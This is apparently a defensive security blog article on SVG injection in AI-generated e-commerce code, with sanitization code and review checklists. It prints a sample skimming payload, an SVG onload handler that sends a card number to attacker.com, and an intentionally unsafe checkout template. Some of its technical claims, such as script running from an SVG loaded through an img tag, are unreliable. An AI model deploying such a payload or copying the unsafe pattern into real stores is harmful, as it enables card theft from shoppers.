SVG Injection in AI-Generated E-Commerce Code
Learn how LLMs generate e-commerce code vulnerable to SVG injection attacks that steal credit cards. Real exploit examples and detection patterns.
The Invisible Thief: SVG-Based Credit Card Attacks
Nearly 100 Magento storefronts fell victim to a recent campaign that buried credit card-stealing code inside a single pixel-sized SVG image. The attack worked because the code generated by AI assistants followed a common pattern: trusting third-party images without validation.
When you ask an LLM to "build an e-commerce template with custom branding," it often outputs code that embeds images directly from user-controlled sources or generates dynamic SVG content without sanitizing input. That seemingly innocent 1x1 transparent pixel? It could be executing JavaScript.
How the Attack Works
Attackers injected malicious code into an SVG that looked harmless on the surface:
<!-- AI-generated template code -->
<img src="/images/tracking-pixel.svg" alt="analytics">
<!-- What the SVG actually contains -->
<svg onload="fetch('https://attacker.com/collect?cc=' + document.form.cardNumber.value)">
<rect width="1" height="1" fill="white"/>
</svg>
When the browser renders this, the onload event fires silently, exfiltrating credit card data. The LLM didn't know to remove event handlers from SVG content because it wasn't trained to be paranoid about image sources.
Why LLMs Make This Mistake
AI assistants generate code by pattern matching from training data. Most training examples show:
- Images as trust-worthy assets
- SVG as a safe image format (because it usually is)
- Minimal validation on user uploads
The assistant combines these patterns without understanding the attack surface. Ask it to "optimize image loading" and it might suggest lazy loading without sanitization. Ask for "dynamic SVG generation" and it builds a template injection vulnerability.
The Code Pattern to Watch
Vulnerable pattern:
// UNSAFE: AI often generates this
const renderCheckout = (userLogo) => {
return `
<div class="header">
<img src="${userLogo}" />
</div>
<form id="payment">
<input name="cardNumber" />
</form>
`;
};
The problem: userLogo could be an SVG with embedded JavaScript. No sanitization, no validation.
Safer pattern:
// SAFER: Validate and sanitize
const sanitizeImageUrl = (url) => {
// Only allow data URLs or known CDNs
const allowedHosts = ['cdn.example.com', 'assets.example.com'];
try {
const parsed = new URL(url);
return allowedHosts.includes(parsed.hostname) ? url : null;
} catch {
return null;
}
};
const renderCheckout = (userLogo) => {
const safeUrl = sanitizeImageUrl(userLogo);
if (!safeUrl) {
return '<div>Invalid image</div>';
}
return `<img src="${safeUrl}" />`;
};
// For SVG content generation, always remove event handlers
const cleanSvg = (svgString) => {
const parser = new DOMParser();
const svg = parser.parseFromString(svgString, 'image/svg+xml');
// Remove all event handlers
svg.querySelectorAll('*').forEach(el => {
Array.from(el.attributes).forEach(attr => {
if (attr.name.startsWith('on')) {
el.removeAttribute(attr.name);
}
});
});
return new XMLSerializer().serializeToString(svg);
};
Detection in Code Review
When reviewing LLM-generated e-commerce code, flag these patterns:
1. Direct image URL usage without validation: 
2. SVG embedded inline without sanitization: innerHTML with SVG content
3. Missing CSP headers: No Content Security Policy to restrict SVG behavior
4. No image MIME type checking: Uploading "image.jpg" that's actually SVG
The Real Cost
This wasn't a sophisticated attack. Attackers bought compromised hosting, added 100 stores to a malicious CDN, and waited for traffic. Each stolen card costs $20-200 on the black market. Recovering from a breach costs thousands in remediation and compliance fines.
AI-generated code accelerates deployment but compresses the security review window. Code that takes 2 weeks to write by hand now takes 2 hours to scaffold. Security teams still get 0 extra hours to review it.
Key Takeaways
- LLMs treat images as trust-worthy by default, creating a pattern-matching vulnerability that attackers exploit
- SVG injection works silently inside pixel-sized images that appear legitimate to security tools
- Sanitize all image sources, validate MIME types, and strip event handlers from user-generated SVG content